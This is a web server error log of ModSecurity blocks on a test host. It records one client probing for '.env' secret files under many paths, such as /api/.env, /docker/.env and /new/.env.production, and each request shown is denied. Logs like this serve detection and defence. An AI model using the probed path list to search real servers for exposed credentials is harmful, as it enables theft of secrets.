[Thu Mar 05 21:15:31.124643 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_next/data/buildId/page.json"] [unique_id "aankY3-5cD4lZ86aCmtRjgAAAAc"]
[Thu Mar 05 21:15:31.124834 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_next/data/buildId/page.json"] [unique_id "aankY3-5cD4lZ86aCmtRjgAAAAc"]
[Thu Mar 05 21:15:31.182231 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aankY3-5cD4lZ86aCmtRkAAAAAc"]
[Thu Mar 05 21:15:31.182485 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aankY3-5cD4lZ86aCmtRkAAAAAc"]
[Thu Mar 05 21:15:31.182661 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aankY3-5cD4lZ86aCmtRkAAAAAc"]
[Thu Mar 05 21:15:31.348202 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /portal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/portal/.env"] [unique_id "aankY3-5cD4lZ86aCmtRkwAAAAc"]
[Thu Mar 05 21:15:31.348405 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/portal/.env"] [unique_id "aankY3-5cD4lZ86aCmtRkwAAAAc"]
[Thu Mar 05 21:15:31.348592 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/portal/.env"] [unique_id "aankY3-5cD4lZ86aCmtRkwAAAAc"]
[Thu Mar 05 21:15:31.396310 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /env/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.env"] [unique_id "aankY3-5cD4lZ86aCmtRlAAAAAc"]
[Thu Mar 05 21:15:31.396547 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.env"] [unique_id "aankY3-5cD4lZ86aCmtRlAAAAAc"]
[Thu Mar 05 21:15:31.396724 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.env"] [unique_id "aankY3-5cD4lZ86aCmtRlAAAAAc"]
[Thu Mar 05 21:15:31.431851 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aankY3-5cD4lZ86aCmtRlQAAAAc"]
[Thu Mar 05 21:15:31.432009 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aankY3-5cD4lZ86aCmtRlQAAAAc"]
[Thu Mar 05 21:15:31.432146 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aankY3-5cD4lZ86aCmtRlQAAAAc"]
[Thu Mar 05 21:15:31.472326 2026] [authz_core:error] [pid 2501123] [client 195.178.110.34:59332] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env
[Thu Mar 05 21:15:31.504837 2026] [authz_core:error] [pid 2501123] [client 195.178.110.34:59332] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/.env
[Thu Mar 05 21:15:31.527403 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env"] [unique_id "aankY3-5cD4lZ86aCmtRmAAAAAc"]
[Thu Mar 05 21:15:31.527634 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env"] [unique_id "aankY3-5cD4lZ86aCmtRmAAAAAc"]
[Thu Mar 05 21:15:31.527821 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env"] [unique_id "aankY3-5cD4lZ86aCmtRmAAAAAc"]
[Thu Mar 05 21:15:31.549290 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.local"] [unique_id "aankY3-5cD4lZ86aCmtRmQAAAAc"]
[Thu Mar 05 21:15:31.549511 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.local"] [unique_id "aankY3-5cD4lZ86aCmtRmQAAAAc"]
[Thu Mar 05 21:15:31.549695 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.local"] [unique_id "aankY3-5cD4lZ86aCmtRmQAAAAc"]
[Thu Mar 05 21:15:31.581982 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.production"] [unique_id "aankY3-5cD4lZ86aCmtRmgAAAAc"]
[Thu Mar 05 21:15:31.582183 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.production"] [unique_id "aankY3-5cD4lZ86aCmtRmgAAAAc"]
[Thu Mar 05 21:15:31.582371 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.production"] [unique_id "aankY3-5cD4lZ86aCmtRmgAAAAc"]
[Thu Mar 05 21:15:31.677059 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.staging"] [unique_id "aankY3-5cD4lZ86aCmtRmwAAAAc"]
[Thu Mar 05 21:15:31.677233 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.staging"] [unique_id "aankY3-5cD4lZ86aCmtRmwAAAAc"]
[Thu Mar 05 21:15:31.677438 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.staging"] [unique_id "aankY3-5cD4lZ86aCmtRmwAAAAc"]
[Thu Mar 05 21:15:31.889870 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /awstats/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/awstats/.env"] [unique_id "aankY3-5cD4lZ86aCmtRogAAAAc"]
[Thu Mar 05 21:15:31.890036 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/awstats/.env"] [unique_id "aankY3-5cD4lZ86aCmtRogAAAAc"]
[Thu Mar 05 21:15:31.890193 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/awstats/.env"] [unique_id "aankY3-5cD4lZ86aCmtRogAAAAc"]
[Thu Mar 05 21:15:31.918582 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /conf/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/conf/.env"] [unique_id "aankY3-5cD4lZ86aCmtRowAAAAc"]
[Thu Mar 05 21:15:31.918731 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/conf/.env"] [unique_id "aankY3-5cD4lZ86aCmtRowAAAAc"]
[Thu Mar 05 21:15:31.918873 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/conf/.env"] [unique_id "aankY3-5cD4lZ86aCmtRowAAAAc"]
[Thu Mar 05 21:15:33.673811 2026] [:error] [pid 2503080] [client 195.178.110.34:33032] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cron/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "aankZSF1I8PfpD5PsEbHtgAAAAI"]
[Thu Mar 05 21:15:33.673979 2026] [:error] [pid 2503080] [client 195.178.110.34:33032] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "aankZSF1I8PfpD5PsEbHtgAAAAI"]
[Thu Mar 05 21:15:33.674109 2026] [:error] [pid 2503080] [client 195.178.110.34:33032] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "aankZSF1I8PfpD5PsEbHtgAAAAI"]
[Thu Mar 05 21:15:33.745365 2026] [:error] [pid 2503080] [client 195.178.110.34:33032] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/www/.env"] [unique_id "aankZSF1I8PfpD5PsEbHtwAAAAI"]
[Thu Mar 05 21:15:33.745523 2026] [:error] [pid 2503080] [client 195.178.110.34:33032] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/www/.env"] [unique_id "aankZSF1I8PfpD5PsEbHtwAAAAI"]
[Thu Mar 05 21:15:33.745658 2026] [:error] [pid 2503080] [client 195.178.110.34:33032] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/www/.env"] [unique_id "aankZSF1I8PfpD5PsEbHtwAAAAI"]
[Thu Mar 05 21:15:33.786937 2026] [:error] [pid 2503080] [client 195.178.110.34:33032] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "aankZSF1I8PfpD5PsEbHuAAAAAI"]
[Thu Mar 05 21:15:33.787096 2026] [:error] [pid 2503080] [client 195.178.110.34:33032] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "aankZSF1I8PfpD5PsEbHuAAAAAI"]
